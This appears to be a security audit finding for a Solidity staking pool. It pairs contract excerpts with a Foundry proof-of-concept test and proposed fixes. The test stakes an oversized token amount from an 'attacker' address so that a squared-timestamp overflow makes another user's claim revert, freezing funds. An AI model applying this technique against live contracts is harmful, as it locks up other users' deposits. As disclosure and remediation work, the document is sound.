function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
...
uint256 newEntry = block.timestamp;
uint256 start = riskWindowStart;
if (start != 0 && newEntry < start) newEntry = start;
uint256 contribTime = received * newEntry;
uint256 contribTimeSq = received * newEntry * newEntry;
eligibleStake[msg.sender] += received;
userSumStakeTime[msg.sender] += contribTime;
userSumStakeTimeSq[msg.sender] += contribTimeSq;
totalEligibleStake += received;
sumStakeTime += contribTime;
sumStakeTimeSq += contribTimeSq;
}
function _markRiskWindowStart() internal {
uint256 t = block.timestamp;
if (t > expiry) t = expiry;
riskWindowStart = uint32(t);
sumStakeTime = totalEligibleStake * t;
sumStakeTimeSq = totalEligibleStake * t * t;
emit RiskWindowStarted(t);
}
function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
if (snapshotTotalBonus == 0) return 0;
if (riskWindowStart == 0) return 0;
uint256 T = outcomeFlaggedAt;
uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;
uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;
uint256 globalScore = plus > minus ? plus - minus : 0;
if (globalScore == 0) {
if (snapshotTotalStaked == 0) return 0;
return Math.mulDiv(userEligible, snapshotTotalBonus, snapshotTotalStaked);
}
return Math.mulDiv(userScore, snapshotTotalBonus, globalScore);
}
pragma solidity 0.8.26;
import "forge-std/Test.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
contract HugeToken {
string public name = "Huge Token";
string public symbol = "HUGE";
uint8 public decimals = 18;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
function mint(address to, uint256 amount) external {
balanceOf[to] += amount;
}
function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
return true;
}
function transfer(address to, uint256 amount) external returns (bool) {
balanceOf[msg.sender] -= amount;
balanceOf[to] += amount;
return true;
}
function transferFrom(address from, address to, uint256 amount) external returns (bool) {
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
allowance[from][msg.sender] = allowed - amount;
}
balanceOf[from] -= amount;
balanceOf[to] += amount;
return true;
}
}
contract MockAgreement {
address public owner;
constructor(address owner_) {
owner = owner_;
}
function isContractInScope(address) external pure returns (bool) {
return true;
}
}
contract MockAttackRegistry {
IAttackRegistry.ContractState public state;
function setState(IAttackRegistry.ContractState newState) external {
state = newState;
}
function getAgreementState(address) external view returns (IAttackRegistry.ContractState) {
return state;
}
}
contract MockSafeHarborRegistry {
MockAttackRegistry public attackRegistry;
constructor(MockAttackRegistry attackRegistry_) {
attackRegistry = attackRegistry_;
}
function isAgreementValid(address) external pure returns (bool) {
return true;
}
function getAttackRegistry() external view returns (address) {
return address(attackRegistry);
}
}
contract K2OverflowClaimFreezeTest is Test {
ConfidencePool pool;
HugeToken token;
MockAgreement agreement;
MockAttackRegistry attackRegistry;
MockSafeHarborRegistry safeHarborRegistry;
address sponsor = address(0xA11CE);
address attacker = address(0xBEEF);
address bob = address(0xB0B);
address carol = address(0xCAFE);
address moderator = address(0xD00D);
address recovery = address(0xFEE);
function testHugeStandardErc20StakeCanFreezeSurvivedClaimsViaK2Overflow() external {
uint256 startTime = 1_750_000_000;
vm.warp(startTime);
token = new HugeToken();
agreement = new MockAgreement(sponsor);
attackRegistry = new MockAttackRegistry();
safeHarborRegistry = new MockSafeHarborRegistry(attackRegistry);
pool = new ConfidencePool();
address[] memory accounts = new address[](1);
accounts[0] = address(0x1234);
pool.initialize(
address(agreement),
address(token),
address(safeHarborRegistry),
moderator,
block.timestamp + 365 days,
1,
recovery,
sponsor,
accounts
);
uint256 plannedRiskStart = startTime + 1 days;
uint256 terminalObservation = plannedRiskStart + 1 days;
Pick an amount that keeps the risk-start square accounting safe:
amount * plannedRiskStart * plannedRiskStart <= type(uint256).max
but makes the later claim-time expanded absolute timestamp expression overflow:
terminalObservation * terminalObservation * amount
+ amount * plannedRiskStart * plannedRiskStart
> type(uint256).max
*/
uint256 hugeStake =
type(uint256).max / (
terminalObservation * terminalObservation
+ plannedRiskStart * plannedRiskStart
) + 1;
token.mint(attacker, hugeStake);
token.mint(bob, 100e18);
token.mint(carol, 1e18);
vm.prank(attacker);
token.approve(address(pool), hugeStake);
vm.prank(bob);
token.approve(address(pool), 100e18);
vm.prank(carol);
token.approve(address(pool), 1e18);
attackRegistry.setState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
vm.prank(attacker);
pool.stake(hugeStake);
vm.prank(bob);
pool.stake(100e18);
vm.prank(carol);
pool.contributeBonus(1e18);
vm.warp(plannedRiskStart);
attackRegistry.setState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
vm.warp(terminalObservation);
attackRegistry.setState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.expectRevert(stdError.arithmeticError);
vm.prank(bob);
pool.claimSurvived();
assertEq(pool.eligibleStake(bob), 100e18);
assertGt(token.balanceOf(address(pool)), 100e18);
}
}
Compute k=2 scores using relative at-risk durations instead of expanding through absolute Unix timestamps.
Example direction:
- uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
- uint256 userMinus = 2 * T * userSumStakeTime[u];
- uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;
-
- uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
- uint256 minus = 2 * T * snapshotSumStakeTime;
- uint256 globalScore = plus > minus ? plus - minus : 0;
+ // Store per-deposit relative entry deltas or maintain accumulators relative to riskWindowStart.
+ // Then compute:
+ //
+ // uint256 dt = T - effectiveEntry;
+ // uint256 score = amount * dt * dt;
+ //
+ // This bounds the squared term by pool duration instead of Unix timestamp magnitude.
Alternatively, enforce a conservative stake cap before accepting deposits:
+ uint256 maxTotalStake = type(uint256).max / uint256(expiry) / uint256(expiry);
+ if (totalEligibleStake + received > maxTotalStake) revert InvalidAmount();
The relative-time rewrite is preferable because it removes the timestamp-magnitude multiplier entirely instead of relying on token-size policy limits.